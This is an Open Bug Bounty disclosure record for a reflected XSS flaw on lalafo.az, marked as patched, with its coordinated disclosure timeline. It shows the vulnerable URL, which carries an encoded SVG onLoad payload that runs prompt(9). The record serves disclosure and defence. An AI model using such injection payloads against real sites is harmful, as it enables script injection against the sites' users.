lalafo.az XSS vulnerability

2017-10-20T12:02:00
ID OBB:355450
Type openbugbounty
Reporter ELProfesor
Modified 2018-01-19T03:35:00

Description

Vulnerable URL:
https://lalafo.az/en/azerbaijan/ev-ucun-dekor/diger-ev-dekoru?page=x%22%3E%3CsvG%20onLoad=prompt(9)%3E
Details:

Description| Value
---|---
Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 8371
VIP website status:| Yes

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 20 October, 2017 12:02 GMT
Generic security notifications sent to website owner| 20 October, 2017 12:05 GMT
Vulnerability details disclosed by researcher| 18 January, 2018 12:22 GMT
Vulnerability patched by the website owner| 19 January, 2018 03:35 GMT